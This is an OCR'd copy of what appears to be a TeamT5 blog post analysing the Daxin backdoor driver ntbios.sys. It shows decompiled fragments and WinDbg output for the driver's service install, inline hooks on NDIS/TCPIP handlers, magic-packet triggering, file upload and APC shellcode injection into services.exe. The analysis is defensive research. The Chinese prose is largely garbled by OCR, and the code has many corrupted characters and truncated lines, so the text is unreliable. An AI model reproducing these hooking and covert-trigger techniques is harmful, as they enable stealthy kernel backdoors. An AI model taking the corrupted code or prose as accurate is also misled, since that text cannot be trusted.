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7 VirusTotal _EAT AR IR L SEFER APIData.exe , iR HIXIBER () KRB0 E.
int __cdecl main(int argc, const char **argv, const char **envp)

[esp+8h] [ebp-Ch] BYREF

strcpy(ServiceName, "PrintServer");
sub_40104A();
if ( arge < 2 || (v3 = argv[1][1], V3 == 'i') )

{
sub_40122A(ServiceName);

)

APIData.exe /i $\{T7c1% IRFEH & Fi%—1E PrintServer RIERENARFS. (FIH§ Start 2 204 3 , {#FH net start
PrintServer 77T\ERE) , 77{E{# F Windbg EITIBHE)

D PptpMiniport Ili splayHame EEG SZ FrintServer
PrintServer Errannntrnl EEG_IWORD 0x00000001 (1)
(] Exum ImagePath REG_EXFAND_SZ WA AWIHDOWS \sy=tem32'inthios. sys
- [0 Security At REG_DHORD 0x00000002 (2)
-] ProtectedStorage R Type REG_THORT 0x00000001 (1)

-] FSched

FRGEANRAERZRTHGE | T IANRASRIRS int 3 (xCC) HFETNHIENRL , BEHATH Checksum , BATIA
fifi3% Exception 5% Debugger %7 , Z &5 TR B E FIAFEIES , BHEAEANREFTEREENR
B, IIRBEEEE.

FH—TE A Z # F#EN(bp) MmLoadSystemImage ERE , EEREHIT5E4£ (gu) , ImageBaseAddress EAE§
AT AERAF ntbios.sys IGCTEREE AL,

NTSTATUS
MmLoadSystemImage (

IN PUNICODE_STRING ImageFileName,

IN PUNICODE_STRING NamePrefix OPTIONAL,

IN PUNICODE_STRING LoadedBaseName OPTIONAL,
IN BOOLEAN LoadInSessionSpace,

OUT PVOID *ImageHandle,

OUT PVOID *ImageBaseAddress

)5

EEENFEN1ZPYT - ntbios.sys
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FEBEDTTEL K nibios.sys BRENFET , £ DriverEntry —BiZA R LB ZFFIY sub_B22577C0 FIERER.
Status = @;
v8 = Ox160014;
vZ2 = 8;
: :DriverObject = DriverObject;
sub_B22577C0();
: :DestinationString.MaximumLength = RegistryPath->Length + 2;
: :DestinationString.Length = RegistryPath->Length;

: :DestinationString.Buffer = ExAllocatePoolWithTag(PagedPool,
if ( !::DestinationString.Buffer )

return @xCeeeee9A;

RIS A\ Z & KNFIY sub_B2257660 ERER , KEVSEBIEERGIRA , ZEIH N EPROCESS 454E1EH)
%18 Offset {H , AABTMARERIERERL , MFLEEEIS BT A—4k |, sub_B2257570 eRELAIZ XK
services.exe 21 kernel32.dll!WinExec B API {xz31t.

UINT (__stdcall *sub_B22577Ce())(LPCSTR lpCmdLine, UINT uCmdShow)

{
UINT (__stdcall *result)(LPCSTR, UINT); // eax

result = (sub_B2257660() - 1);
switch ( result )
{
case Ou:
LOWORD ( EPROCESS_PEB_OFFS) = ©x1B8;
LOWORD ( EPROCESS_ActiveProcessLinks_OFFS)
dword_B225B998 = ©x15801A4,;
dword_B225B99C = ©x15Ae034;
result = sub_B2257570(@x72DC);
WinExec = result;
break;
case lu:
LOWORD ( EPROCESS_PEB_OFFS) = ©x1B@;
LOWORD ( EPROCESS_ActiveProcessLinks_OFFS)
dword_B225B998 ©x16401B6;
dword_B225B99C = ©x1660634,;
result = sub_B2257570(@x72DC);
WinExec = result;
break;
case 2u:
LOWORD ( EPROCESS_PEB_OFFS) = ©x198;
LOWORD(EPROCESS_ActiveProcessLinks_OFFS)
dword_B225B998 = ©x5881AC;
dword_B225B99C = ©x1096034;
result = sub_B2257570(0x72DC);
WinExec = result;
break;

Page 3 of 22




https://teamt5.org/tw/posts/backdoor-of-driver-analysis-Daxin/

BY B BT FT7EM EPROCESS izttt , #1318 ImageFileName FT#ERI{RFS ALk (Offset),
intl6 sub_B22576606()

PEPROCESS CurrentPr /] ebx
unsigned _ int16 v1; // si
__int16 result;

CurrentProcess = IoGetCurrentProce
vl = E&;
while ( strncmp("System"”, CurrentProcess + vl, 6u) )

{

if

( ++vl >= @xleeeu )
return ©;

}
HIWORD (EPROCESS_PEB_OFFS)

switch ( vl )

{

©x14Cu:

esult = 5;
reak;

ase ©x154u:

sult = 3;
reak;

ase ©xledu:

sult = 4;
eak;
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Z 1%[E]F)] DriverEntry 4#451X F , &1¥0Y NdisRegisterProtocol 1} &% Protocol Driver , {BIE AR 2T
—{E#EZR , E1F 2 {EH[E{EHH) NdisProtocolHandle F<#4£2 TCPIP #1T Hooking,
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InitializelistHead(&stru_B225B988);
KeInitializeSpinLock(&SpinLock);
KeInitializeSpinLock(&Lock);
KeInitializeSpinLock(&dword_B225B974);
InitializelistHead(&ListHead);
NdisAllocatePacketPool(&Status, &PoolHandle, ©x1@6u, ©xl4u);
if ( Status >= 8 )

NdisAllocateBufferPool(&Status, &Destination, exleeu);
if ( Status >= 8 )
{
memset (&ProtocolCharacteristics, @, sizeof(ProtocolCharacteristics));
ProtocolCharacteristics.Name = _ PAIR64 (L"XFireWalll", v8);
*&ProtocolCharacteristics.Ndis48Chars.MajorNdisVersion = 5;
ProtocolCharacteristics.Ndis48Chars.OpenAdapterCompleteHandler = sub_B2256E80;
ProtocolCharacteristics.Ndis4@Chars.CloseAdapterCompleteHandler = sub_B2256EA@;
ProtocolCharacteristics.Ndis48Chars.SendCompleteHandler = sub_B2259040;
ProtocolCharacteristics.Ndis4@Chars.TransferDataCompleteHandler = nullsub_2;
ProtocolCharacteristics.Ndis48Chars.ResetCompleteHandler = sub_B225653@;
ProtocolCharacteristics.Ndis48Chars.RequestCompleteHandler = sub_B2256A76;
ProtocolCharacteristics.Ndis48Chars.ReceiveHandler = sub_B2258660;
ProtocolCharacteristics.Ndis4@Chars.ReceiveCompleteHandler = nullsub_3;
ProtocolCharacteristics.Ndis4@Chars.StatusHandler = nullsub_2;
ProtocolCharacteristics.Ndis4@Chars.StatusCompleteHandler = nullsub_3;
ProtocolCharacteristics.Ndis4@Chars.BindAdapterHandler = sub_B2256AF@;
ProtocolCharacteristics.Ndis4@Chars.UnbindAdapterHandler = sub_B2256DA@;
ProtocolCharacteristics.Ndis4@Chars.UnloadHandler = ©;
ProtocolCharacteristics.Ndis4@Chars.ReceivePacketHandler = sub_B22585F@;
ProtocolCharacteristics.Ndis4@Chars.PnPEventHandler = sub_B2256ECe;
NdisRegisterProtocol(&Status, &NdisProtocolHandle, &ProtocolCharacteristics, @x6Cu);
if ( !Status )
{
sub_B225686@(NdisProtocolHandle, 1);
DriverObject->MajorFunction[@] = sub_B22564180;
DriverObject->MajorFunction[2] = sub_B2256470;
DriverObject->MajorFunction[3] sub_B22585F@;

00000B99|DriverEntry:59 (B2256799)

(" % Protocol ZZEI4M% /1T~ (Network Adapter)f{#E , MERAS-REFEEL TCPIP 455 , It Hooking
TCPIP 2 tLE B AT

while ( wesncmp(*(NDIS_PROTOCOL BLOCK + 8x48), L"TCPIP", *(NDIS_PROTOCOL BLOCK + @x44) >> 1) )

NDIS_PROTOCOL_BLOCK = *(NDIS_PROTOCOL_BLOCK + @x1e);
if ( INDIS_PROTOCOL_BLOCK )
return;

1
NDIS_OPEN_BLOCK = *NDIS_PROTOCOL_BLOCK;
if ( NDIS_OPEN_BLOCK )

while ( a2 )

if (a2 ==1)
{
RestoreFunction();
TCPIP_SendHandler = Inline_HookFunction(NDIS_OPEN_BLOCK->SendHandler, N_SendHandler);
TCPIP_ReceivePacketHandler = Inline_HookFunction(
NDIS_OPEN_BLOCK->ReceivePacketHandler,
N_ReceivePacketHandler);
TCPIP_ReceiveHandler = Inline_HookFunction(NDIS_OPEN_BLOCK->ReceiveHandler, N_ReceiveHandler);
WanReceiveHandler = NDIS_OPEN_BLOCK->WanReceiveHandler;
if ( NDIS_OPEN_BLOCK->ReceiveHandler != WanReceiveHandler )
TCPIP_WanReceiveHandler = Inline HookFunction(WanReceiveHandler, N_ReceiveHandler);
sub_B2256AF@(&al, @, NDIS_OPEN_BLOCK->Reservedld, @, @);
return;

NDIS_OPEN_BLOCK = NDIS_OPEN_BLOCK->Reserved1®;
00000C60|sub B2256860:1 (B2256860)

Windbg 5745 —1@ ndiskd B3 It (Extensions)f§4 ] LA{# A , #i A\ 'ndiskd.protocols &% fTA protocols £d
MR ERAIGPE. BIHL Indiskd IEFTFELS T AZE (2],
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0: kd> Indiskd.protocols
85dfe358 - NDISUIO
86122f40 - AMD PCNET Family PCI Ethernet Adapter - ¥UEAITXIFER TS

867e71d8 - TCPIP_WANARP
861e94d0 - WAN g (IP) - EiRBV I IR0

861ea840 - TCPIP
85de4130 - AMD PCNET Family PCI Ethernet Adapter - #UEAITXIFER IO

85dec1b8 - NDPROXY
85e36d70 - EHIEFF1T
85e38ae8 - HIEI1T
86102868 - WAN fFlus] (L2TP)
86103228 - WAN fgfligd (L2TP)

861990d0@ - PSCHED
8612a130 - VMware Accelerated AMD PCNet Adapter
85dc24a@ - WAN ff¥umC (IP)

86283918 - RASPPPOE

85e2fc80 - NDISWAN
86150388 - HIEIH1T
85e4c608 - WAN fZlum (PPTP)
86197600 - WAN #%EUimE (PPPOE)
85e32a40 - WAN fflum (L2TP)

Protocols & —1 88 [a)§i 45 88 §1)(Singly linked list) , ATA Islist , {8 !slist JRIFFBEIS8L , RILER dt 543K
B | A FE ndiskd £REEARZ,

0: kd> dt ndis!_NDIS_PROTOCOL_BLOCK 85dfe358 -1 NextProtocol -c ProtocolCharacteristics.Name
NextProtocol at @x85dfe358+0x014 ProtocolCharacteristics
+0x030 Name _UNICODE_STRING "NDISUIO"

NextProtocol at 0x861e71d8+0x014 ProtocolCharacteristics
+0x030 Name _UNICODE_STRING "TCPIP_WANARP"

NextProtocol at 0x861ea840+0x014 ProtocolCharacteristics
+0x030 Name _UNICODE_STRING "TCPIP"

NextProtocol at 0x85dec1b8+0x014 ProtocolCharacteristics
+0x030 Name _UNICODE_STRING "NDPROXY"

NextProtocol at 0x861990d0+0x014 ProtocolCharacteristics
+0x030 Name _UNICODE_STRING "PSCHED"

NextProtocol at 0x86283918+0x014 ProtocolCharacteristics
+0x030 Name _UNICODE_STRING "RASPPPOE"
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NextProtocol at 0x85e2fc80+0x014 ProtocolCharacteristics
+0x030 Name _UNICODE_STRING "NDISWAN"

EEEREESREABAE , TAEIREL —(E XFIREWALLL KR REEE).

0: kd> Indiskd.protocols
85e2cab8 - XFIREWALLL
861942b0 - AMD PCNET Family PCI Ethernet Adapter - ¥UEAITXIFER-MELEO

JE#2/ Hooking & KIFIY sub_B2256200 ERENEITHIE M RARE |, Kt B EBHNAARETES.

v3 = sub_B2256200(al, 7u);
PoolWithTag[1] = v3;
if (v3<7)
{
1(PoolWithTag);
return ©;
¥
v5 ocatePoolWithTag(NonPagedPool, v3 + nullsub_1 - dword_B2256240 + 7, 'kcaP');
v6 = nullsub_1 - dword_B2256248;
v7 = V5;
PoolWithTag[2] = v5;
v8 = e;
gmemcpy(v7, dword_B225624@, nullsub_1 - dword_B2256240);
if ( nullsub_1 != dword_B225624@ )

{

do
{

v9 = PoolWithTag[2];
if ( *(v9 + v8) ==
Inline HookFunction:12 (B2

IEFERTASE A Indiskd.protocol 2K %158 TCPIP {#3:#88E) , 7] AEF| HANDLES 2 HEIRERE [EH K.

0: kd> Indiskd.protocol 861ea840

PROTOCOL
TCPIP

Ndis handle 861ea840
Ndis API version v4.0

Reference count 2

Flags [No flags set]
BINDINGS

Open Miniport Miniport Name

85de4130 86295130 AMD PCNET Family PCI Ethernet Adapter - ¥uEAITXIFER TR
HANDLERS

Protocol handler Function pointer  Symbol (if available)
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BindAdapterHandler
UnbindAdapterHandler
PnPEventHandler
UnloadHandler
OpenAdapterCompleteHandler
(loseAdapterCompleteHandler
SendCompleteHandler
TransferDataCompleteHandler
ReceiveHandler
ReceivePacketHandler
ReceiveCompleteHandler
StatusHandler
StatusCompleteHandler
RequestCompleteHandler
ResetCompleteHandler

WATPAE A dt EASEA T AER , H

ReceivePacketHandler, ReceiveHandler,

eamt5.org/tw/posts/backdoor-of-driver-analysis-Daxin/

eedcf579 bp tcpip!IPBindAdapter

eede6938 bp tcpip!ARPUnbindAdapter

eedcc719 bp tcpip!ARPPnPEvent

[None]

eedeb3ce bp tcpip!ARPOAComplete

eede63ed bp tcpip!ARPCAComplete

eedbb7f@ bp tcpip!ARPSendComplete

eede640c bp tcpip!ARPTDComplete

eedbdbb5 bp tcpip!ARPRcv

eedh8800 bp tcpip!ARPRcvPacket

eedb87f3 bp tcpip!ARPRcvComplete

eedd1a83 bp tcpip!ARPStatus

eedd197b bp tcpip!LoopClose

eedc1b80 bp tcpip!ARPRequestComplete

eedeb42e bp tcpip!ARPResetComplete
EAEREFE—HRM , TAE IDA Pro P ] AEZ| &Y SendHandler,

WanReceiveHandler

0: kd> dt ndis! NDIS_PROTOCOL_BLOCK 8671ea840

+0x000 OpenQueue : 0x85de4130 _NDIS_OPEN_BLOCK
+0x004 Ref : _REFERENCE
+0x00c DeregEvent : (null)
+0x010 NextProtocol : 0x85dec1b8 _NDIS_PROTOCOL_BLOCK
+0x014 ProtocolCharacteristics : _NDIS50_PROTOCOL_CHARACTERISTICS
+0x080 WorkItem : _WORK_QUEUE_ITEM
+0x090 Mutex : _KMUTANT
+0x0b0 MutexOwner 1 0
+0x0b4 BindDeviceName : (null)
+0x0b8 RootDeviceName : 0x85e4836c _UNICODE_STRING "\DEVICE\NDISWANIP"
+0x0bc AssociatedMiniDriver : (null)
+0x0c0 BindingAdapter : (null)
0: kd> dt ndis!_NDIS50_PROTOCOL_CHARACTERISTICS 8671ea840+14
+0x000 MajorNdisVersion : @x4 ''
+0x001 MinorNdisVersion : @ "'
+0x002 Filler 1 0
+0x004 Reserved 1 0
+0x004 Flags 1 0
+0x008 OpenAdapterCompleteHandler : @xeedeb63ce void tcpip!ARPOAComplete+0
+0x00c CloseAdapterCompleteHandler : @xeedeb3ed void tcpip!ARPCAComplete+d
+0x010 SendCompleteHandler : @xeedbb7f0 void tcpip!ARPSendComplete+@
+0x010 WanSendCompleteHandler : @xeedbb7f0 void tcpip!ARPSendComplete+@
+0x014 TransferDataCompleteHandler : @xeedeb40c void tcpip!ARPTDComplete+0
+0x014 WanTransferDataCompleteHandler : @xeede640c void tcpip!ARPTDComplete+0
+0x018 ResetCompleteHandler : Oxeedeb42e void tcpip!ARPResetComplete+0
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+0x@1c RequestCompleteHandler : @xeedc1b80 void tcpip!ARPRequestComplete+0
+0x020 ReceiveHandler : @xeedbd6b5 int tcpip!ARPRcv+0

+0x020 WanReceiveHandler : @xeedbd6b5 int tcpip!ARPRcv+0

+0x024 ReceiveCompleteHandler : Oxeedb87f3 void tcpip!ARPRcvComplete+0

+0x028 StatusHandler : Oxeedd1a83 void tcpip!ARPStatus+0
+0x02c StatusCompleteHandler : @xeedd197b void tcpip!LoopClose+d
+0x030 Name : _UNICODE_STRING "TCPIP"

+0x038 ReceivePacketHandler : @xeedb8300 int tcpip!ARPRcvPacket+0
+0x@3c BindAdapterHandler : @xeedcf579 void tcpip!IPBindAdapter+0
+0x040 UnbindAdapterHandler : Oxeede6938 void tcpip!ARPUnbindAdapter+0
+0x044 PnPEventHandler : @xeedcc719 int tcpip!ARPPnPEvent+0

+0x048 UnloadHandler : (null)

+0x04c ReservedHandlers : [4] (null)

+0x05c CoSendCompleteHandler : (null)

+0x060 CoStatusHandler : (null)

+0x064 CoReceivePacketHandler : (null)

+0x068 CoAfRegisterNotifyHandler : (null)

0: kd> dt ndis! NDIS_OPEN_BLOCK ©x85de4130
_NDIS_OPEN_BLOCK
+0x000 MacHandle : 0x862b8460 Void
+0x004 BindingHandle : 0x85de4130 Void
+0x008 MiniportHandle : 0x86295130 _NDIS_MINIPORT_BLOCK
+0x00c ProtocolHandle : 0x861ea840 _NDIS_PROTOCOL_BLOCK
+0x010 ProtocolBindingContext : 0x85e2e008 Void
+0x014 MiniportNextOpen : (null)
+0x018 ProtocolNextOpen : (null)
+0x@1c MiniportAdapterContext : 0x85dcc008 Void

+0x020 Reserved U/
+0x021 Reserved? 10"
+0x022 Reserved3 U/
+0x023 Reserved4 10"

+0x024 BindDeviceName : ©x86295140 _UNICODE_STRING "\DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFDE}"
+0x028 Reserved5 1 0

+0x02c RootDeviceName : @x8615bf2c _UNICODE_STRING "\DEVICE\{090574D5-3AB6-46FD-B541-8608BB450655}"
+0x030 SendHandler 1 0xf734787b int NDIS!ndisMSendX+@

+0x030 WanSendHandler : 0xf734787b int NDIS!ndisMSendX+@

+0x034 TransferDataHandler : @xf735dfeb int NDIS!ndisMTransferData+0

+0x038 SendCompleteHandler : @xeedbb7f0 void tcpip!ARPSendComplete+0

+0x03c TransferDataCompleteHandler : @xeedeb40c void tcpip!ARPTDComplete+0

+0x040 ReceiveHandler : @xeedbd6b5 int tcpip!ARPRcv+0

+0x044 ReceiveCompleteHandler : @xeedb87f3 void tcpip!ARPRcvComplete+0

+0x048 WanReceiveHandler : (null)

+0x04c RequestCompleteHandler : @xeedc1b80 void tcpip!ARPRequestComplete+0

+0x050 ReceivePacketHandler : Oxeedb8800 int tcpip!ARPRcvPacket+0

+0x054 SendPacketsHandler : @xf735f25f void NDIS!ndisMSendPacketsX+0

+0x058 ResetHandler : Oxf735fb65 int NDIS!ndisMReset+0
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+0x@5c RequestHandler : @xf735c8c7 int NDIS!ndisMRequestX+0
+0x060 ResetCompleteHandler : Oxeedeb42e void tcpip!ARPResetComplete+0

+0x064 StatusHandler : Oxeedd1a83 void tcpip!ARPStatus+0
+0x068 StatusCompleteHandler : Oxeedd197b void tcpip!LoopClose+d
+0x06c Flags )

+0x070 References 1 On1

+0x@74 SpinLock )

+0x078 FilterHandle : 0x862b1550 Void

+0x@7c ProtocolOptions : 0

+0x080 CurrentlLookahead : 0x80

+0x@82 ConnectDampTicks : 0

+0x084 DisconnectDampTicks : 0

+0x088 WSendHandler 1 0xf712ae22 int psched!MpSend+0

+0x08c WTransferDataHandler : @xf712a06a int psched!MpTransferData+0
+0x090 WSendPacketsHandler : (null)

+0x094 CancelSendPacketsHandler : (null)

+0x098 WakeUpEnable 1 0

+0x09c CloseCompleteEvent : (null)

+0x0a0 QC : _QUEUED_CLOSE

+0x@b4 AfReferences : 0no

+0x0b8 NextGlobalOpen : 0x8612a136 _NDIS_OPEN_BLOCK
+0x0bc NextAf : (null)

+0x0c@ MiniportCoCreateVcHandler : 0x00010019 int 410019

+0x0c4 MiniportCoRequestHandler : 0x20707249 int +20707249

+0x0c8 CoCreateVcHandler : 0x1a030001 int +1a030001

+0x@cc CoDeleteVcHandler : 0x86123dad int +ffffffff86123da0

+0x0d0@ CmActivateVcCompleteHandler : 0x85e124a0 void +ffffffff85e124a0
+0x0d4 CmDeactivateVcCompleteHandler : 0x85deb6f@ void +ffffffff85deb6f0
+0x0d8 CoRequestCompleteHandler : 0x77e16288 void +77e16288

+0x0dc ActiveVcHead : _LIST_ENTRY [ 0x85de4208 - 0xa060003 ]

+0x0e4 InactiveVcHead : _LIST_ENTRY [ Oxee657645 - 0x1 ]

+0x@ec PendingAfNotifications : @On1

+0x0f0 AfNotifyCompleteEvent : 0x863b4350 _KEVENT

RIEFET AR & B TCPIP i:RSRENf2 A _NDIS_OPEN_BLOCK #H¥#f fEfX Handler,

ndis!_NDIS_OPEN_BLOCK
+0x020 ReceiveHandler : @xeedbdbb5 int tcpip!ARPRcv+0
+0x030 SendHandler 1 Oxf734787b int NDIS!ndisMSendX+@
+0x048 WanReceiveHandler : (null)
+0x050 ReceivePacketHandler : @xeedb8300 int tcpip!ARPRcvPacket+0

0: kd> u eedbdbb5 11

tcpip!ARPRcv:
eedbdbb5 ea88722b860800 jmp 0008:862B7288  ------- +
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0: kd> u f734787b 11
NDIS!ndisMSendX:
f734787b ea1036dd850800 jmp 0008:85DD3610

tcpip!ARPRcvPacket:

|
|
|
|
0: kd> u eedb8800 11 |
|
eedh8300 ea008311860800 jmp  0008:86118300 |

|

|

0: kd> u 0008:862B7288

0008:862b7288 58 pop eax <------- +

0008:862b7289 6898722b86 push 862B7298h ------- +

0008:862b728e 50 push eax

0008:862b728f eab@3407ee0800 jmp 0008:EEQ734BO ------- +---> (ntbios!ReceiveHandler)
0008:862b7296 90 nop |

0008:862b7297 90 nop |

0008:862b7298 8bff mov edi,edi <------ +

0008:862b729a 55 push ebp

0: kd> u 0008:85DD3610

0008:85dd3610 58 pop eax
0008:85dd3611 682036dd85 push 85DD3620h
0008:85dd3616 50 push eax
0008:85dd3617 e€a%03307ee0800 jmp 0008:EE073390
0008:85dd3671e 90 nop

0008:85dd361f 90 nop

0008:85dd3620 8bff mov edi,edi
0008:85dd3622 55 push ebp

0: kd> u 0008:86118300

0008:86118300 58 pop eax
0008:86118301 6810831186 push 86118310h
0008:86118306 50 push eax
0008:86118307 ea203407e¢e0800 jmp 0008:EEQ73420
0008:8611830e 90 nop

0008:8611830f 90 nop

0008:86118310 8bff mov edi,edi
0008:86118312 55 push ebp

Handler €& tcpip 3% ndis ffizit , 2 & —ERiGBEEE] 8XXXXXXX ffizit , EEAERE A
ExAllocatePoolWithTag ERz5H BRI R , Z & BBk EE073XXX (ntbios) #2ERERAIALE .

tcpip!ARPRcv:
eedbdbb5 €a88722b860800 jmp 0008:862B7288

0: kd> u 0008:862B7288
0008:862b7288 58 pop eax
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0008:862b7289 6898722b86 push 862B7298h
0008:862b728e 50 push eax
0008:862b728f eab@3407ee0800 jmp 0008:EEQ734B0

0: kd> Tm m tcpip

Browse full module list

start end module name

eedh8000 eee10480  tcpip (pdb symbols) c:\symbols\tcpip.pdb\1427EBFC591F4966B0D2625DBIFA55012\tc
0: kd> 1lm m ntbios

Browse full module list

start end module name

€e071000 ee0c8000 ntbios (no symbols)

0: kd> Tm m ndis

Browse full module list

start end module name

7347000 7373980  NDIS (pdb symbols) c:\symbols\ndis.pdb\94A67EAE18514379881AE6FA7FC1C1FB2\ndi

R A #1645 T Port knocking WS BEI , £RAEZFEIEFBANS , 7TLEE Revice*Handler
EREEDE KIFIY sub_B2257EA0 RS , IE1E KBTI RIE TCP HEANEH.
int _ stdcall N_ReceivePacketHandler(int al, int a2, PNDIS_PACKET Destination)

5Z] xrefs to sub B2257EAQ

Directi Ty Address

v3 = Destination; Line 1 of 2
BytesCopied = ©;
Source = @;
v4d = sub_B2257158(&Source, Destination, PoolHandle, ::Destination, &Destination);
v5 = sub_B2257EA@(Source, v4, Destination);
(v5 & 5) !=8 )

(v & 2) == @ )
return (al)(a2, v3);
NdisCopyFromPacketToPacket(v3, ©, Destination, Source, @, &BytesCopied);
sub_B225706@(Source);
return (al)(a2, v3);

sub_B2257EA0 € FH EMFNY sub_B2257F10 sREr , HEREFERIETE ETHER/IP/TCP #4118 , BUISHKNAH
AFE sub_B2258080 EREX.
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int _ stdcall sub_B2257F1@(int al, int a2, int EtherHdr)

{
__intle EtherType;

int TCP_
_WORD *v9;
int Data; [esp+18h] [ebp+Ch]

( !EtherHdr )

eturn @;

erType = *(EtherHdr + ©xC);
( EtherType == 8 )

( *(EtherHdr + 6x17) == 6 )

IPv4_IHL = *(EtherHdr + @xE) & ©xF;

TCP = EtherHdr + 4 * IPv4_IHL + ©xE;

TCP_HLEN = (*(EtherHdr + 4 * IPv4_THL + @x1A) >> 2) & @xFC;

Data = TCP_HLEN + TCP;

if ( (HIBYTE(*(EtherHdr + €x1@)) + (*(EtherHdr + @x1@) << 8)) - 4 * IPv4 IHL - TCP_HLEN >= 4
&& sub_BZZSBbBB(EtheerP, TCP, Data) )

return *(Data + 4) == 1;

{
i
ik

if

( sub_B2258938(EtherHdr, TCP, @) )
return 1;

( *(EtherHdr + ©x1A) == IPv4_SrcAddr )
if ( (*(TCP + ©xD) & 2) !=8 )

sub_B2258048(EtherHdr, TCP);
sub B2257F10 (B2257F83)

PYRFE AT AR EI1E PITE RIS B RIR S , 5B akisaE A4 DWORD = 0x9910 , 21REZHFIEIT
—{E DWORD {H2 1(L{B+x) 5 2(WinExec BITFER).
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e;

*Data != @x9916 )
turn @;

*(Data + 4);

v5 )

1 M —~ |l

=h

" e =

TCP_Header = *TCP_Hdr;
IPv4_SrcAddr = *(EtherHdr + @x1A);
UploadFile(EtherHdr, TCP_Hdr);
return 1;

)
if (ve == 1)
{

Ring3ShellCode_APCInject((Data + ©xC));
return 1;

}

lse

if ( *(Data + @xC) )
sub_B22583Ce(al, *(Data + exC));

IPv4_SrcAddr = *(EtherHdr + ©x1A);

IPv4_DstAddr = *(EtherHdr + ©x1E);

dword_B22A9C8C = *(Data + 8);

v7 = *(EtherHdr + 6);

dword_B22A9C84 = v7;

word_B22A9C88 = *(EtherHdr + ©xA);

dword_B22A9C94 = *EtherHdr;

word_B22A9C98 = *(EtherHdr + 4);

00002 0 sub BZ2: 0:11 (B22 0)

EEHER

A FEZFI UploadFile R , &{$ ) ToQueueWorkItem KT CreateDummyExecutableFile fRIBREL , IW{HEN
PoolWithTag fIZ 8t X , PoolWithTag[1] = 23R/NEMAESR |, T PoolWithTag[1] = 1 FINEHIER , TEEIL
TAERE , SHERNTIY sub_B2258930 IR , MLERERAEIBUERIEL) , WRERHEE R EIE.

Page 14 of 22



https://teamt5.org/tw/posts/backdoor-of-driver-analysis-Daxin/

unsigned int _ stdcall UploadFile(int EtherHdr, int TCP_Hdr)
{

int ipv4_ihl; // ebx

unsigned int result; eax

_DWORD *PoolWithTag; // esi

struct _IO kItem; /

char v7[16]; // [esp+Ch] [ebp-16h] BYREF

unsigned int TCP_Hdra; // [esp+24h] [ebp+8h]

ipv4_ihl = (HIBYTE(*(EtherHdr + ©x1@)) + (*(EtherHdr + €x18) << 8));
result = ipv4_ihl - ((*(TCP_Hdr + @xC) >> 2) & OXFFFFFFFC) - 4 * (*(EtherHdr + OXE) & ©xF);
strepy(v7, D ")
TCP_Hdra = result
if ( result < exlec )
return result;
SegNum = sub_B2258B8@(*(TCP_Hdr + 8));
dword_B22A9A24 = sub_B2258B80(*(TCP_Hdr + 4)) + e@xiec;
word_B2269A6e = ©xE0e8;
dword_B22A9A20 = ©;
strcpy(dstFileName, v7);
strcat(dstFileName, (ipv4_ihl - TCP_Hdra + EtherHdr + ©x1A));
PoolWithTag = ycate thTag(NonPagedPool, ©x18u, ‘kcaP');
WorkItem = IoAllocateWorkItem(DeviceObject);
*PoolWithTag = WorkItem;
PoolWithTag[3] = ©ox48;
PoolWithTag[2] = dstFileName;
PoolWithTag[1] = 2;
IoQueueWorkItem(WorkItem, CreateDummyExecutableFile, DelayedWorkQueue, PoolWithTag);
memset(&unk_B22A9A40, O, ©x180u);
return sub_B225893@(EtherHdr, TCP_Hdr, exlecC);

"
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EETTABRR|@EEE PoolWithTag[1] =1 , Z &M E—H&XKIFNY CreateDummyExecutableFile BREH,

v7 = (HIBYTE(*(EtherHdr + €x18)) + (*(EtherHdr + ©x1@) << 8)) - v5 - V6;
v16[2] = &v3[Vv6 + V5 + a3];
v17 = sub_B2258B80(*(TCP_Hdr + 4));
v16[@] = a3 + v17 - dword_B22A9A24;
v16[1] = v17 - dword_B22A9A24 + v7 - 1;
v8 = sub_B2258DBO(v16);
if ( v8 »>= 0 )
{
vil = (&unk_B22A9A40 + ©x1@ * v8);
v12 = v11[1] - *v11l + 1;
if ( !*vil )
{
sub_B2258BD@(v12 + dword_B22A9A24, vS, EtherHdr, TCP_Hdr, v12 + dword_B22A9A24, ©);
if ( (2 * v12) <= ©xEeee && (*(TCP_Hdr + OxD) & 1) == @ )
return 1;
sub_B2258ACO(v11);
1

lse

sub_B2258BD8( - , EtherHdr, TCP_Hdr, dword_B22A9A24, 8);
¥
if ( (*(TCP_Hdr + @xD) & 1) == 0 )

return 1;

TCP_Header = @;

sub_B2258BD8( Ethnerr, TCP_Hdr, dword_B22A9A24, 1);

PoolﬂlthTag E g(NonPagedPool, ©x1@u, 'kcaP');

WorkItem = IoAllocateworkItem{Dev1ce0b3ect),

*PoolWithTag = WorkItem;

PoolWithTag[3] = dword_B22A9A20;

PoolWithTag[2] &unk_B2269A208;

PoolWithTag[1] 1;

IoQueueWorkItem{ rkItnm, CreateDummyExecutableF11e DelayedWorkQueue, PoolWithTag);
97 sub ! v (B 97)

NR PoolWithTag[1] % 2 €{F F ZwCreateFile 5% , 201K 4 1 1§ &IFNY ZwWriteFile BAgEER,

ObjectAttributes.Attributes = @x240;

vd = v3 - 1;
ObjectAttributes.SecurityDescriptor = @;
ObjectAttributes.SecurityQualityofService = 8;

ile(&FileHandle, 4u, &0bjectAttributes, &IoStatusBlock, ©, ©x8eu, @, @, @x2eu, @, 8) >= @

teFile(&FileHandle, 4u, &0ObjectAttributes, &IoStatusBlock, @, ©x80u, ©, 3u, ©x28u, @, B) >= 0 )

e(FileHandle, @, ©, ©, &IoStatusBlock, *(Context + 2), *(Context + 3), @, @);
(FileHandle);
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Offset o 1 2 3 4 5 6 7 B8 % L BE C D E F BNSI RSCII
00000000 10 9% 00 00 01 00 00 00 00 00 00 00 63 3A GC 74 ™ civt
00000010 &5 73 74 ZE 74 78 74 00 00 00 00 00 00 00 00 00 est.txt
QoO00020 00 00 OO 00 00 00 OO0 00 00 00 00 00 00 OO0 00 00
Q0000030 00 00 OO 00 00 00 OO0 00 00 Q0 OO 00 00 OO 00 00
00000040 00 00 OO0 00 00 00 00 00 00 OO0 OO0 00 00 QO 00 00
00000050 00 00 OO0 00 00 00 00 00 00 00 00 00 00 Q0 00 00
00000060 00 00 OO0 00 00 00 00 00 00 00 00 00 00 Q0 00 00
Qoo00070 00 00 OO 00 00 00 00 00 00 00 00 00 00 OO0 00 00
Q0000080 00 00 OO 00 00 00 OO 00 00 QO OO 00 00 OO 00 00
0O0000%0 00 00 OO0 00 00 00 00 00 00 00 OO0 00 00 QO 00 00
QO0000R0 00 00 OO0 00 00 00 OO 00 00 00 00 00 00 Q0 00 00
QO0000BO 00 00 OO0 00 00 00 00 00 00 00 00 00 00 Q0 00 00
Qoooooco 00 00 00 00 00 00 OO0 00 00 00 00 00 00 OO0 00 00
